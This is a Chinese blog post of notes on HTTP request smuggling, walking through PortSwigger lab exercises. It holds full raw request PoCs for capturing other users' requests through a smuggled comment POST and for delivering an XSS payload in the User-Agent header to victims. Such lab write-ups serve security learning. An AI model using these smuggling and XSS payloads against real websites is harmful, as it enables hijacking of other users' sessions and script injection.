http请求走私漏洞

访问Burp靶场速度感人..都要哭了(如果没有账户的先创建账户)

基础补充

pipeline

http1.1有了Pipeline,就不需要等待Server端的响应了。浏览器默认不启用pipeline但服务器相反

keepalive

通过Connection: keep-alive 这个头部来实现,服务端和客户端都可以使用它告诉对方在发送完数据之后不需要断开 TCP 连接。

CL

就是Content-Length, 这个content-length有多长,读过这个数就停止了

TE

就是Transfer-Encoding, TE遇0结束跟个\r\n。只定义了一种格式:chunked(分块编码)

Burp的特性

传值是隔一行才算进去



这里我开启了bp的默认更新CL

改请求格式就不讲了

绕过Waf就不讲了..

五种http走私

截图来自于spidersec,twitter上自己去搜

  • CL!=0: 就是CL不等于0呗
  • CL-CL: 前端和后端都是用CL认证
  • CL-TE: 前端用CL认证,后端用TE认证
  • TE-CL: 前端用TE认证,后端用CL认证
  • TE-TE: 前端和后端都是用TE认证

CL-TE

后端TE认证,会屏蔽掉CL

靶场环境:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

记住要加Transfer-Encoding: chunked
把Bp的更新CT关掉

解释下为什么CL设置成6,一个Enter是2字节,2*2=4,4+1(0)+A(0)



第一次读取正常,接着Go一次

TE-CL

后端遵守CL

https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl

记住要加Transfer-Encoding: chunked
把Bp的更新CT关掉



因为是CL认证,5是muxue的字节,我设置cl是3(5+enter=3)

第一遍正常请求,发送第二遍



OK...

就是因为后端采用了CL认证,后面的数据会被放进缓冲区,然后再请求一遍去加载

TE-TE

同样采用TE认证

但是可以混淆绕过,弄两个transfer-encoding哈哈

https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header



第二个TE头是来混淆的,我们再次发送请求看看会不会成功



如果单一的transfer-encoding:chunked我们来试试

怎么请求都是200

smuggling造成的用户劫持

https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests



有一个正常的可以输出自定义内容的页面,This is very important

然后我们来利用走私漏洞达到劫持,普通请求一个get页面看看

Poc
POST / HTTP/1.1
Host: accb1f821e43d7f880b21132005e0079.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: session=orHUORZ04SyNccC7qC2mth4imb66G8aZ
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 712
Transfer-encoding: chunked 0 POST /post/comment HTTP/1.1
Host: accb1f821e43d7f880b21132005e0079.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://accb1f821e43d7f880b21132005e0079.web-security-academy.net/post?postId=5
Cookie: session=orHUORZ04SyNccC7qC2mth4imb66G8aZ
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1190 csrf=bvhD9jnQtfj05BLQDksbPhzXpG3RjLNq&postId=5&name=cnm&email=cnm%40gmai.com&website=https%3A%2F%2Ftest.com&comment=cnm-hacker

这个我用edge整了很长时间,没有成功,用firefox就成功了。不知道是什么原因...

没用的可以删掉

为什么cl要这么大:因为要留出来一部分给受害者请求

为什么comment要放最后面:我看人家都把显示位拼接在后面,我照葫芦画瓢要是有人知道,请教一哈

content-length一定要大



出现这个,基本上就成了

smuggling配合xss

https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss

官方提示了,UA头那里



配合http request smuggling

这个洞我又回到了edge.. 真不知道哪里出错了

POC
POST / HTTP/1.1
Host: aca41fab1efac68183430f27008e0073.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 Edg/87.0.664.41
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=ZnqUY5GnCnPJpeZxkKQLSlEfMc77jmHw
Content-Type: application/x-www-form-urlencoded
Content-Length: 600
Transfer-encoding: chunked 0 GET /post?postId=1 HTTP/1.1
Host: aca41fab1efac68183430f27008e0073.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: "><script>alert(/xss/)</script>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=ZnqUY5GnCnPJpeZxkKQLSlEfMc77jmHw

正常发送一次,数据会被带到缓冲区,然后受害者请求网站,达到半存储型xss



这种感觉只要持续发送这个包,就可以达到存储型XSS吧

案例

等以后挖到 慢慢更新

2020 12.22 19:38 更新

最近因忙于备战高考... 也没搞安全,反正带专见呗 冲不动了

然后今晚也挖到了个

细节我确实也写了 但是不在博客园 各位有缘就能看见(滑稽)

Article:https://portswigger.net/web-security/request-smuggling

Http Request Smuggling - Note的更多相关文章

  1. [Java Web]Error parsing HTTP request header Note: further occurrences of HTTP header parsing errors

    手机客户端向服务器提交Http请求时,Tomcat抛出错误: 十二月 31, 2014 2:32:45 下午 org.apache.coyote.http11.AbstractHttp11Proces ...

  2. 信息: Error parsing HTTP request header Note: further occurrences of HTTP header parsing errors will be logged at DEBUG level

    四月 , :: 下午 org.apache.coyote.http11.AbstractHttp11Processor process 信息: Error parsing HTTP request h ...

  3. 为什么一个Http Header中的空格会被骇客利用 - HTTP request smuggling

    figure:last-child { margin-bottom: 0.5rem; } #write ol, #write ul { position: relative; } img { max- ...

  4. 利用Haproxy搭建 HTTP 请求走私(Request smuggling)环境

    Haproxy 介绍 HAProxy是一个使用C语言编写的自由及开放源代码软件,其提供高可用性.负载均衡,以及基于TCP和HTTP的应用程序代理. 请求走私(Request smuggling)概念证 ...

  5. Portswigger web security academy:HTTP request smuggling

    HTTP request smuggling 目录 HTTP request smuggling HTTP request smuggling, basic CL.TE vulnerability H ...

  6. HTTP Request Smuggling 请求走私

    参考文章 浅析HTTP走私攻击 SeeBug-协议层的攻击--HTTP请求走私 HTTP 走私漏洞分析 简单介绍 攻击者通过构造特殊结构的请求,干扰网站服务器对请求的处理,从而实现攻击目标 前提知识 ...

  7. Error parsing HTTP request header Note: further occurrences of HTTP header parsing errors...java.lang.IllegalArgumentException: Invalid character found in the request target. The valid characters are

    先将异常信息贴出: 该问题是tomcat进行http request解析的时候报的错,网上的解决办法主要是修改Tomcat的server.xml,在<Connector port="8 ...

  8. Tomcat:Error parsing HTTP request header Note: further occurrences of HTTP header parsing errors will be logged at DEBUG level.

    可能原因一: 在本地tomcat启动正常并且访问正常的项目放在服务器上tomcat报以上错误. 本地tomcat为7.0.68,服务器上为7.0.86 错误原因:服务器tomcat版本过高. 解决办法 ...

  9. Get提交数据过大,tomcat报错,信息: Error parsing HTTP request header Note: further occurrences of HTTP header parsing errors will be logged at DEBUG level

    原因 get提交的数据过大,超过了默认值. 解决办法 get提交配置 设置tomcat的server.xml.找到我们启动的端口,一般是8080,增加maxHttpHeaderSize= " ...

随机推荐

  1. Redis的flushall/flushdb误操作

    Redis的flushall/flushdb命令可以做数据清除,对于Redis的开发和运维人员有一定帮助,然而一旦误操作,它的破坏性也是很明显的.怎么才能快速恢复数据,让损失达到最小呢? 假设进行fl ...

  2. 41.1、shell编程案例

    1.案例1(表达式案例): 开发shell脚本分别实现以定义变量,脚本传参以及read读入的方式比较2个整数大小.用条件表达式(禁if) 进行判断并以屏幕输出的方式提醒用户比较结果: [root@ba ...

  3. 19、高可用工具heartbeat介绍

    19.1.heartbeat的作用: heartbeat的官方网站地址是:http://linux-ha.org/wiki/Main_Page 19.2.heartbeat工作原理: 19.3.hea ...

  4. Exponentiation java大数

    Exponentiation 大数a的n次幂,直到读到EOF(文件结尾)为止,其中忽略小数后面的0 1 import java.util.*; 2 import java.math.*; 3 impo ...

  5. Tiling 简单递推+大数

    Tiling c[0]=1,c[1]=1,c[2]=3;   c[n]=c[n-1]+c[n-2]*2;   0<=n<=250.   大数加法 java  time  :313ms 1 ...

  6. Centos-Springboot项目jar包自启动

    CentOS环境下部署Springboot项目的jar包开机自启动. 部署环境 Centos 7.5 Springboot 2.1.x 操作步骤 修改pom 在pom.xml文件中<plugin ...

  7. Linux alias 或者 unalias 设置别名

    设置别名 查看别名:alias 设置别名: 临时设置: alias show='ls -al' 上述设置方法存在一个问题,即设置的命令别名只针对当前回话有效,一旦连接断开并重连之前设置的别名别不在有效 ...

  8. linux学习之路第二天(xshell和xftp的使用图解)

    以上xshell的连接过程 2.远程上传和下载文件xftp6 一定要换成22和sftp,否则连接不上 如果出现中文乱码的情况 先点击那个小齿轮 再点击选项 把编码编程UTF-8就ok了

  9. 《PHP安全编程系列》系列分享专栏

    PHP安全编程系列收藏夹收藏了有关PHP安全编程方面的知识,对PHP安全编程提供学习参考 <PHP安全编程系列>已整理成PDF文档,点击可直接下载至本地查阅https://www.webf ...

  10. CG-CTF Our 16bit Games

    一.放到xp上面跑,发现是一个图形界面的飞机游戏...估计是分数到达多少,然后就可以输出flag. 打开ida,一脸懵逼,主要这玩意16位,我直接静态调试了 发现很多汇编代码,有点懵逼,在最下方的地方 ...